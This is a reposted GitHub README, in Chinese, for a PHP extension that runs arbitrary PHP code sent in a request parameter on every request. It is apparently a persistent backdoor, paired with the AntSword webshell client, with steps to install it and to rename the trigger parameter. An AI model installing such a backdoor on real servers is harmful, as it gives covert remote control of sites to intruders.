phith0n/arbitrary-php-extension: 这是一个实验性的PHP扩展,加载这个扩展后,每次请求将可以执行一段自己的PHP代码。
2019-08-30 00:14:24
Author: github.com(查看原文)
阅读量:262
收藏
Join GitHub today
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
Sign up
这是一个实验性的PHP扩展,加载这个扩展后,每次请求将可以执行一段自己的PHP代码。
C
C++
Dockerfile
M4
Shell
Makefile
Permalink
Type |
Name |
Latest commit message |
Commit time |
|
Failed to load latest commit information. |
|
arbitraryphp
|
initail
|
Oct 22, 2018
|
|
dockerfiles
|
initail
|
Oct 22, 2018
|
|
screenshot
|
add more manual
|
Oct 22, 2018
|
|
tests
|
initail
|
Oct 22, 2018
|
|
.editorconfig
|
initail
|
Oct 22, 2018
|
|
.gitignore
|
initail
|
Oct 22, 2018
|
|
LICENSE
|
add LICENSE
|
Oct 22, 2018
|
|
README.md
|
add more manual
|
Oct 22, 2018
|
|
build-ext.sh
|
initail
|
Oct 22, 2018
|
|
builds.sh
|
initail
|
Oct 22, 2018
|
这是一个实验性的PHP扩展,加载这个扩展后,每次请求将可以执行一段自己的PHP代码。
可用于:
- 管理目标PHP站点
- HOOK与分析HTTP执行流程
- 在不修改源代码的情况下控制PHP执行结果
安装
选择对应版本的PHP,下载Releases下的二进制文件安装包,解压并获得相应PHP版本的二进制文件。
执行php -i |grep extension_dir
,获取扩展目录:
将二进制文件arbitraryphp.so移动到扩展目录中,并修改php.ini,开启这个扩展:
extension=arbitraryphp.so
使用
请求任意一个PHP,在参数arbitrary_php
中增加任意PHP代码,即可执行:
也可以是POST请求:
使用AntSword管理:
从源码编译
你也可以自己编译扩展,首先安装如下软件:
编译生成5.4~7.2版本下所有扩展:
只生成某个PHP版本的扩展:
docker run -it --rm --name uu -v /root/arbitrary-php:/app tuwen/zephir:7.2 bash /app/build-ext.sh
自定义执行参数
如果需要自定义请求参数arbitrary_php
为其他值,可以修改arbitraryphp/ext/initial/pre_request.h
中REQUEST_NAME
的值:
void pre_request(TSRMLS_D);
#define REQUEST_NAME "please_edit_it"
再重新编译扩展即可。
支持
二进制文件仅支持在Linux下使用,Mac或Windows等操作系统,请自行编译。
LICENSE
ArbitraryPHP遵循MIT开源协议发布。
文章来源: https://github.com/phith0n/arbitrary-php-extension
如有侵权请联系:admin#unsafe.sh